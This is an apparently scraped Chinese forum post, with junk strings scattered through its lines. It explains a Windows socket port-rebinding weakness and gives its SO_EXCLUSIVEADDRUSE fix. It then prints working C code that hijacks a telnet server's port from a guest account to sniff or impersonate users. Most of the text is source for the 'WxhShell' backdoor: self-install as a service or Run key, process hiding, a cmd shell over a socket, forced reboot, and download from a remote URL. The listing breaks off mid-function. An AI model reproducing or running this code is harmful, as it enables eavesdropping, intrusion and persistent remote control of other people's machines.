在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
r@c!M|m@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Rjn%<R2nW d-jZ 5nl( saddr.sin_family = AF_INET;
"9#hk3*GqX )
S-Fuq4i4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:0kKw=p1R 2Mu3]2> bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{ ^Rr:+ Dn48?A[v 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~IFafAO& fC+tu>= 这意味着什么?意味着可以进行如下的攻击:
+fN2%aC ?!u9=?? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G6bvV*TRi s{:Thgv,9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|*g\-2j{ tN;^{O-(V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`0`#Uf_/$ iSNbbu# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0E7h+]bh| kvN<o-B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
l%
p4.CX N>w+YFM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
e>Dux E %?>
%h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Xdh@ ^` ;;N#'.xD #include
jfYM*% #include
5`QfysR5 #include
rX22%~1 #include
LX}|%- iv DWORD WINAPI ClientThread(LPVOID lpParam);
y*E{X int main()
G_}oI|B {
44pVZ5c WORD wVersionRequested;
`_x#`%!#2 DWORD ret;
,xutI WSADATA wsaData;
M hjIE<OI= BOOL val;
X([@}ren SOCKADDR_IN saddr;
75iudki SOCKADDR_IN scaddr;
2RdpVNx\y int err;
tILnD1q SOCKET s;
Ym#io] SOCKET sc;
OKA6S* int caddsize;
I5E5,{ HANDLE mt;
3}B-n!|* DWORD tid;
OI:T#uk5 wVersionRequested = MAKEWORD( 2, 2 );
On}b|ev err = WSAStartup( wVersionRequested, &wsaData );
93/`e}P"o if ( err != 0 ) {
o\qeX|.70 printf("error!WSAStartup failed!\n");
0R;`)V\^ return -1;
_8 l=65GW }
Q6n8 ,2* saddr.sin_family = AF_INET;
~ujg250.L [6?x 6_M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
EcPvE=^c +&*>FeJY saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
a
YY1*^ saddr.sin_port = htons(23);
u4xJ-Vu if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
OqX+R4S {
g`,(O printf("error!socket failed!\n");
_zLEHEZ- return -1;
.UU) }
'.e5Ku val = TRUE;
+A%zFF3 //SO_REUSEADDR选项就是可以实现端口重绑定的
*7qa]i^] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0Qg%48u {
f5R%F~ printf("error!setsockopt failed!\n");
mo]>Um'F return -1;
bBQHxH}vi }
9lX[rBZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
V /)3d //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/x/W>J2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
hysxHOL 1(kd3qX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Xm6M s<z6 {
c70B ret=GetLastError();
`Mo%)I<`= printf("error!bind failed!\n");
G~NhBA9 return -1;
-./Y }
xG(:O@ listen(s,2);
II.Wa&w} while(1)
tAb3ejCo? {
">s0B5F7 caddsize = sizeof(scaddr);
UHDcheeRD //接受连接请求
lb]k"L%KU7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
eh*F/Gu if(sc!=INVALID_SOCKET)
^fM=|.? {
5d|+ c< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"H{#ib_c_ if(mt==NULL)
`~@}f"c`u {
}J=z O8OL printf("Thread Creat Failed!\n");
}U b "Vb break;
n4zns,:)/ }
os(}X(
}
tdC
kvVE CloseHandle(mt);
XB%`5wwd }
n4
Y
]v closesocket(s);
}Z`@Z' WSACleanup();
4;w#mzd return 0;
_xdttO^N }
B^hK DWORD WINAPI ClientThread(LPVOID lpParam)
7p18;Z+6>X {
*kDV ^RBfq SOCKET ss = (SOCKET)lpParam;
Q1
vse SOCKET sc;
6:\z8fYD unsigned char buf[4096];
_[
`"E' SOCKADDR_IN saddr;
98WJ"f_ # long num;
!v 3wl0 DWORD val;
,-BZsZ0~ DWORD ret;
yAc}4*;T/ //如果是隐藏端口应用的话,可以在此处加一些判断
A3 zNUad; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
D7$xY\0r saddr.sin_family = AF_INET;
Zn'y"@%t[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xX])IZD saddr.sin_port = htons(23);
~0 n9In% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5?|PC. {
::8E?c printf("error!socket failed!\n");
CY9`HQ1 return -1;
FD}>}fLv }
g/,O51f' val = 100;
J15$P8J if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WTh|7& {
?/ s=E+ ret = GetLastError();
q}5&B=2pM return -1;
PiIILX{DuH }
0M>%1* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lc0Z fC {
dnTXx*I: ret = GetLastError();
GG_A'eX:I return -1;
?Qs>L~ }
YCQ+9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#D!3a%u0 {
fI0L\^b% printf("error!socket connect failed!\n");
F[OBPPQ3 closesocket(sc);
i@d@~M7/ closesocket(ss);
hO:X\:G return -1;
6_a.`ehtj< }
5(OF~mX# while(1)
~
.Eln+N {
|m7`:~ow //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:hxZ2O?5_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
@)8C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
h-h}NCP num = recv(ss,buf,4096,0);
K#{E87G( if(num>0)
]H<C Rw send(sc,buf,num,0);
1')/ BM2 else if(num==0)
s/'gl break;
& ~[%N
O num = recv(sc,buf,4096,0);
Wkv**X} if(num>0)
Afa{f}st send(ss,buf,num,0);
g@"6QAP else if(num==0)
O^gq\X4} break;
PZl(S}VY }
|wj/lX7y closesocket(ss);
egi?Qg closesocket(sc);
2jx+q return 0 ;
z95V 7E }
Bf88f<Z y]\R0lR i&FC-{|Z ==========================================================
wGQ{ XT_BiZ%l5O 下边附上一个代码,,WXhSHELL
Vt4}!b(O 3B"rI ==========================================================
Q<``}:y|> fhn0^Qc"+ #include "stdafx.h"
Tm^zoVi AjANuyUaP #include <stdio.h>
^NLKX5Q #include <string.h>
x{*!"a> #include <windows.h>
S8vmXlD #include <winsock2.h>
C 127he #include <winsvc.h>
l7J_s?!j #include <urlmon.h>
pN]Hp"v )x|BY> #pragma comment (lib, "Ws2_32.lib")
|:r/K #pragma comment (lib, "urlmon.lib")
|I+E`,n"b 7RD` *s #define MAX_USER 100 // 最大客户端连接数
PvT8XSlTx! #define BUF_SOCK 200 // sock buffer
D&9j$#9Rh #define KEY_BUFF 255 // 输入 buffer
*Ucyxpu~$ ::T<de7 #define REBOOT 0 // 重启
6eK^T= #define SHUTDOWN 1 // 关机
e#HP+b$ [Iihk5TT #define DEF_PORT 5000 // 监听端口
3Yj}ra} |PJW2PN #define REG_LEN 16 // 注册表键长度
D#t5*bwK #define SVC_LEN 80 // NT服务名长度
Dfhs@ z fZ g*@RR // 从dll定义API
$=m17GD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
RLHe;-*b]I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
IfXLnD^|| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fF[ g%?w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
rw\4KI@ L {M~!?#<K // wxhshell配置信息
8:xQPd?3 struct WSCFG {
o"1us75P int ws_port; // 监听端口
}lb.3fqiA char ws_passstr[REG_LEN]; // 口令
#Aan v int ws_autoins; // 安装标记, 1=yes 0=no
My`%gP~%g char ws_regname[REG_LEN]; // 注册表键名
P/PS(` char ws_svcname[REG_LEN]; // 服务名
(&nl}_`7?, char ws_svcdisp[SVC_LEN]; // 服务显示名
S~Hj.
d4/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
$^0YK|F char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Csc2 yI%3 int ws_downexe; // 下载执行标记, 1=yes 0=no
1aT$07G0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
d|NNIf char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d<3"$%C z"O-d<U5 };
e #OU {2X [1UqMkXtf // default Wxhshell configuration
6kuSkd$. struct WSCFG wscfg={DEF_PORT,
$WPN.,7 "xuhuanlingzhe",
!aEp88u 1,
_INUJc "Wxhshell",
v1lj /A "Wxhshell",
4QVd{ "WxhShell Service",
>PJ-Z~O'
"Wrsky Windows CmdShell Service",
DJW1kR "Please Input Your Password: ",
;hZ@C!S: 1,
sq^"bLw "
http://www.wrsky.com/wxhshell.exe",
Ji[w; [qL "Wxhshell.exe"
r/T DU[`& };
HY:@=%R J@TM>R // 消息定义模块
rN~`4mZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~GeYB6F char *msg_ws_prompt="\n\r? for help\n\r#>";
Ja&%J: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9$ S,P| char *msg_ws_ext="\n\rExit.";
L' pZ char *msg_ws_end="\n\rQuit.";
~z}au"k char *msg_ws_boot="\n\rReboot...";
wm8x1+P char *msg_ws_poff="\n\rShutdown...";
Z9D4;1 char *msg_ws_down="\n\rSave to ";
RVsN r
rZ Dn3~8 char *msg_ws_err="\n\rErr!";
xVyUUzXs char *msg_ws_ok="\n\rOK!";
Chup %F |Q;o538 char ExeFile[MAX_PATH];
,H?p9L; qp int nUser = 0;
F%d"gF0qu HANDLE handles[MAX_USER];
gsp7N int OsIsNt;
!q/lgpEi ,lJ6"J\8. SERVICE_STATUS serviceStatus;
S8RB0^Q7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
&3f.78a jQ)>XOok // 函数声明
k
I~]u int Install(void);
;"
*`
int Uninstall(void);
j#f&!&G5<& int DownloadFile(char *sURL, SOCKET wsh);
"/?qT;<$) int Boot(int flag);
`RcNqPY#S void HideProc(void);
%}!}2s.A int GetOsVer(void);
n4 @a`lN5g int Wxhshell(SOCKET wsl);
(<X dj^v void TalkWithClient(void *cs);
C(|5,P#5 int CmdShell(SOCKET sock);
+_dYfux int StartFromService(void);
z)>{O3 int StartWxhshell(LPSTR lpCmdLine);
F/SsiUBS e;5Lv9?C8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
rk |(BA VOID WINAPI NTServiceHandler( DWORD fdwControl );
b2e a0 =.hDf<U // 数据结构和表定义
1}E@lOc SERVICE_TABLE_ENTRY DispatchTable[] =
A*~1Uz\t {
cvA\C_ {wscfg.ws_svcname, NTServiceMain},
Ekme62Q>u {NULL, NULL}
k#JG };
&'b}N l%(`<a]VIB // 自我安装
\ZRoTh int Install(void)
~N^vE; {
1qe^rz| char svExeFile[MAX_PATH];
%UQB?dkf$ HKEY key;
'kvFU_) strcpy(svExeFile,ExeFile);
N-9gfG nln6:^w // 如果是win9x系统,修改注册表设为自启动
S "Pj1 if(!OsIsNt) {
Te}yQ= + if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@a\SR'8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Rl4zTAI RegCloseKey(key);
OX/.v?c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PX2k,% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_D9@<+MS* RegCloseKey(key);
f<:U"E. return 0;
KB R0p&MN }
s@LNQ|'kO }
}@%ahRGx%9 }
BQ&q<6Tk else {
V )k, 9= y32++b! // 如果是NT以上系统,安装为系统服务
MW~B[%/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9[{>JRm. if (schSCManager!=0)
`L#?eQ{ {
LIC~Kehi SC_HANDLE schService = CreateService
l\;mP.! (
Jx$#GUl#j schSCManager,
|QOJ9~hxD wscfg.ws_svcname,
4F,Ql"ae( wscfg.ws_svcdisp,
1bZiPG{ SERVICE_ALL_ACCESS,
|cGeL[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#S%Y;ilq SERVICE_AUTO_START,
vj&5` SERVICE_ERROR_NORMAL,
4t
Nv q svExeFile,
h+~df(S. NULL,
YOV4)P" NULL,
E97+GJ3 NULL,
h<1dTl* NULL,
$7&l6~sMQ NULL
5f'g3' );
|8c:+8 if (schService!=0)
prEu9$:t {
rk,1am:cg CloseServiceHandle(schService);
g~c|~u(W CloseServiceHandle(schSCManager);
Tj21YK.mk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~]W[ {3 ; strcat(svExeFile,wscfg.ws_svcname);
O| J`~Lk if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
u] U)d$| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RC{Z)M{~ RegCloseKey(key);
aXbNDj
][ return 0;
^b!7R
<>~ }
04guud } }
EKeh>3;? CloseServiceHandle(schSCManager);
(vAv^A*i} }
|1+(Ny.%k }
r7"A u" dH2]ZE0V return 1;
gO:Z6}3vM }
3$N %iE6 ^jha:d // 自我卸载
9c^skNbS int Uninstall(void)
.z$Sm {
P"9@8aLB HKEY key;
vDW&pF_eI> 4l
ZJb if(!OsIsNt) {
HKiVEg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H*{k4 RegDeleteValue(key,wscfg.ws_regname);
r=DHt&x= RegCloseKey(key);
PM-PP8h
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q6.*"` RegDeleteValue(key,wscfg.ws_regname);
qTTn51 RegCloseKey(key);
9R@abm,I return 0;
~+<xFi }
U8K&Q4^ }
6<s(e_5f }
7^I$%o 1g else {
jj3Pf>D+k Vo9>o@FlLM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'EL || if (schSCManager!=0)
dF{6>8D=5B {
6mBDd>`0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
VPM|Rj:d if (schService!=0)
+#*&XX5A#? {
kQwm"Z if(DeleteService(schService)!=0) {
L7Qo- CloseServiceHandle(schService);
]D{c4)\7C| CloseServiceHandle(schSCManager);
Bn1L?>G return 0;
2~M;L&9- }
AJ\VY;m7F CloseServiceHandle(schService);
(L
y%{ Y }
i<#h]o
C} CloseServiceHandle(schSCManager);
]HyHz9QkL }
G}P)vfcH }
MOP]\ypn $v:gBlj%" return 1;
np-T&Pz2 }
K}PvrcO1 rT f lk // 从指定url下载文件
emv ;m/&8 int DownloadFile(char *sURL, SOCKET wsh)
(|<h^]
y3 {
Gg}5$||^C HRESULT hr;
7MO char seps[]= "/";
n5egKAgA char *token;
qSEB}1 char *file;
66~e~F}z char myURL[MAX_PATH];
%Lp2jyv. char myFILE[MAX_PATH];
O1?B{F/ e 1 [fo'M strcpy(myURL,sURL);
ka2F! token=strtok(myURL,seps);
"u(S2'DW'( while(token!=NULL)
y _'e yR@) {
C~ZE95g file=token;
e86Aqehle token=strtok(NULL,seps);
'bB>$E }
Mx/h?}u; $ yDW.pt GetCurrentDirectory(MAX_PATH,myFILE);
|.b%rVu strcat(myFILE, "\\");
rDIhpT)a strcat(myFILE, file);
K08 iPIkQ send(wsh,myFILE,strlen(myFILE),0);
4ef*9|^x# send(wsh,"...",3,0);
a9#W9eP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
w::r?.9 if(hr==S_OK)
^273l(CZ1 return 0;
<Gr9^C else
bbd0ocva return 1;
3D
9N:c Az9X#h.vf }
x*unye7
Z $!C= // 系统电源模块
@+?+6sS int Boot(int flag)
AA))KBXq {
DUZQO{V HANDLE hToken;
!Z
U_,[ TOKEN_PRIVILEGES tkp;
"?i>p z 5U0ytDZ2/( if(OsIsNt) {
'"`
Lv/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
968Ac}OA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H9%l?r5 tkp.PrivilegeCount = 1;
3AvVU]@&Z@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
R'G'&H{N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`aO.=:O_ if(flag==REBOOT) {
>65
TkAp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
X$BXT return 0;
`Uzs+k-] }
\HCOR, `T else {
r~)VGdB+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
UG6M9 return 0;
xe(MHNrj }
oz%h)#; }
HS{P?~:=U else {
)*!1bgXQ if(flag==REBOOT) {
k?^%hO>[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,q8(]n4 return 0;
|xq}'.C }
M|U';2hZN: else {
%v]7BV^%6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ER{yuw return 0;
BwJNi6, }
PPN q:, }
\C|;F v-ThdE$G# return 1;
^[en3aQ }
6/|U c2/FHI0J; // win9x进程隐藏模块
rW[SU: void HideProc(void)
'yE*|Sx
{
<E"*)Oi '#H&:Htm;L HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`Gf{z%/ if ( hKernel != NULL )
9^oo-,Su_ {
y0;,dv] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8,=G1c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(%i!%{!] FreeLibrary(hKernel);
=h(7rU"Yz }
iNt 4> otU@X 3<_ return;
-eUV`&[4 }
NzAQ@E2d: Hr8\QgD<4 // 获取操作系统版本
/;DjJpwf0 int GetOsVer(void)
^,Xa IP+[ {
60'6/3 OSVERSIONINFO winfo;
L5/mO6;k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#`vVgGZ& GetVersionEx(&winfo);
658\#x8| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ja?s@Y}-9s return 1;
VW {,:Ya else
}bp.OV-+ return 0;
3a%xn4P }
5|CzX X#U U>oW~Z // 客户端句柄模块
$cq!RgRn int Wxhshell(SOCKET wsl)
7iP5T {
6zuze0ud SOCKET wsh;
k'x#t( struct sockaddr_in client;
D
0 DWORD myID;
\OP9_J(* )]wuF` while(nUser<MAX_USER)
ikr7DBLt {
XYts8}y5 int nSize=sizeof(client);
"i&fp:E0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|IAW{_9)U if(wsh==INVALID_SOCKET) return 1;
+Jdm#n?_ M</Wd{.g" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
p/N 62G if(handles[nUser]==0)
+SyUWoM closesocket(wsh);
b]w[*<f? else
0:. 6rp nUser++;
<iRWd }
aF!WIvir WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
M"B@M5KT b )Tl* return 0;
kAeNQRjR }
n6/f an; @O'I)(To // 关闭 socket
q4+Yv2e
<r void CloseIt(SOCKET wsh)
w?_`/oqd| {
9l#gMFknI closesocket(wsh);
IYLZ
+> nUser--;
T RDxT ExitThread(0);
3 tF: }
O~atNrHD pUGN!3 // 客户端请求句柄
^(DL+r, void TalkWithClient(void *cs)
J
B(<.E2 {
5~Q Tg 1 )'Iu`k/ SOCKET wsh=(SOCKET)cs;
[EER4@_ char pwd[SVC_LEN];
7/
t:YBR char cmd[KEY_BUFF];
{<!hlB char chr[1];
gX_SKy int i,j;
]hL:33 u3ST; while (nUser < MAX_USER) {
js
-2"I [<Q4U{F if(wscfg.ws_passstr) {
?;_O
9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>C*4_J7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nSHNis //ZeroMemory(pwd,KEY_BUFF);
\WX@PfL i=0;
T=>vh*J while(i<SVC_LEN) {
6m@0;Ht Mb1wYh // 设置超时
WU7cF81$ fd_set FdRead;
5/,Qz>QE[ struct timeval TimeOut;
_-RyHgX FD_ZERO(&FdRead);
8RU.}PD FD_SET(wsh,&FdRead);
=gs~\q TimeOut.tv_sec=8;
z>p]/Sa TimeOut.tv_usec=0;
++0rF\& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)T/J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Zt_r9xs> &}E:jt} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2qjyFTT pwd
=chr[0]; DLXL!-)z
if(chr[0]==0xd || chr[0]==0xa) { 6<PW./rk:
pwd=0; f7
wmw2
break; o[oqPN3$Y
} x)$2nonM
i++; !?b/-~o7S
} ki#bPgT
)'t&q/Wn
// 如果是非法用户,关闭 socket 5D
L,U(Y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8gAu7\p}
} )P%4:P
E<k^S{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fdLBhe#9M
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hX3@f;[B2
=9<$eLE0
while(1) { iu|v9+
7 OWsHlU
ZeroMemory(cmd,KEY_BUFF); #
M>wH`Q#
,_bp)-O G
// 自动支持客户端 telnet标准 xh r[A
j=0; }#bZ8tm&
while(j<KEY_BUFF) {
7O$ &
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >4c` UW
cmd[j]=chr[0]; &oEyixe
if(chr[0]==0xa || chr[0]==0xd) { fbV@= (y?
cmd[j]=0; djGs~H>;U_
break; cWM:
} 5NFRPGYX
j++; a%*_2#
} 0MrN:M2B
^vM_kArA
// 下载文件 1]Lh'.1^
if(strstr(cmd,"http://")) { `O
n(v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x0ne8NDP
if(DownloadFile(cmd,wsh)) Why"G1`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f"P$f8$
else _A3X6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ZG>mP1Vo
} 6KO(j/Gwp
else { 8i[LR#D)
N|<bVq%
switch(cmd[0]) { [<S^c[47U
| k}e&Q_/G
// 帮助 ="2/\*.SL
case '?': { #Cx%OIi[f
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ld~ q1*7J
break; ?BsH{QRYQ
} Wc\+x1 :8
// 安装 ZB0+GG\
case 'i': { S<pkc8
if(Install()) zi.mq&,]R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z7k$0&
else P5P<"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S (tEwXy
break; QTE:K?
} 3HKxYvc C
// 卸载 *IqVY&
case 'r': { }^9paU
if(Uninstall()) I&\4C.\>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ](nH{aY!
else AAo0M/U'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &?r*p0MQC
break; p&O8qAaO
} A Iv<f9*.:
// 显示 wxhshell 所在路径 QoseS/
case 'p': { e96#2A5f
char svExeFile[MAX_PATH]; ?Q?598MC
strcpy(svExeFile,"\n\r");
#Qsk}Gv
strcat(svExeFile,ExeFile); X Ny
Y$
send(wsh,svExeFile,strlen(svExeFile),0); 1a*6ZGk.
break; b!,ja?
} 0ERsMnU'
// 重启 sZwZWD'
case 'b': { ^vW$XRnt
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XmlIj8%9[&
if(Boot(REBOOT)) #fj[kq)&S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C=yD3mVz
else { uQ^hV%|"
closesocket(wsh); 67?n-NP
ExitThread(0); 4|=vxJ
} gs fhH0
break; T5q-"W6\
} r,"7%1I
// 关机
:$2Yg[Zc3
case 'd': { K( z[}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MHFaSl
if(Boot(SHUTDOWN)) 3sb 5E]P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vzcz<i )
else { 1OP"5f
closesocket(wsh); k:mlt:
ExitThread(0); ]LVnt-q
} Z)5klg$c
break; .jaZ|nN8`
} >3!DOv
// 获取shell LyV#j>gD
case 's': { *F|+2?a:$
CmdShell(wsh); RAwk7F3qn
closesocket(wsh); nzWQQra|?
ExitThread(0); NnP.k7m)
break; VfRs[3Q
} 3A d*,>!
// 退出 D$$3fN.iEL
case 'x': { PLdf_/]-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .aJ%am/:%
CloseIt(wsh); 7jT#BWt
break; E[ 0Sst x
} _jo$)x+'x
// 离开 oSmjs
case 'q': { <"A#Eok|4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); gW}} 5Xq
closesocket(wsh); CWBbSGk
WSACleanup(); $bFgsy*N2
exit(1); #<UuI9
break; U&X.
} ) G|"jFP
} {zu/tCq?
} ,O2q+'&
$YPQC
// 提示信息 #r(a~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c8q G\\t[
} w a2~C [
} Hva{A
#
/3s@6Ex}E
return; %;
qY'+
} 5c)wZ
aX]y`
// shell模块句柄 Lg b
int CmdShell(SOCKET sock) 1 0V+OIC
{ t"tNtLI
STARTUPINFO si; q 7`
ZeroMemory(&si,sizeof(si)); ]a=l^Pc(xN
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PB@-U.Z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $6Z[|9W^A
PROCESS_INFORMATION ProcessInfo; ah>Dqb*
char cmdline[]="cmd"; 9T/<x-FD
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sI$:V7/!
return 0; bje'Oolc
} 9c%(]Rn:
IQ#So]9~Y
// 自身启动模式 E tdd\^
int StartFromService(void) dbd"pR 8v
{ S`4e@Z$
typedef struct nE4l0[_
{ vRxL&8`&
DWORD ExitStatus; a9L0f BRy
DWORD PebBaseAddress; ^,>}%1\
DWORD AffinityMask; -^0KE/
DWORD BasePriority; =qan%=0"h
ULONG UniqueProcessId; Of!|,2`(
ULONG InheritedFromUniqueProcessId; 7;~2e
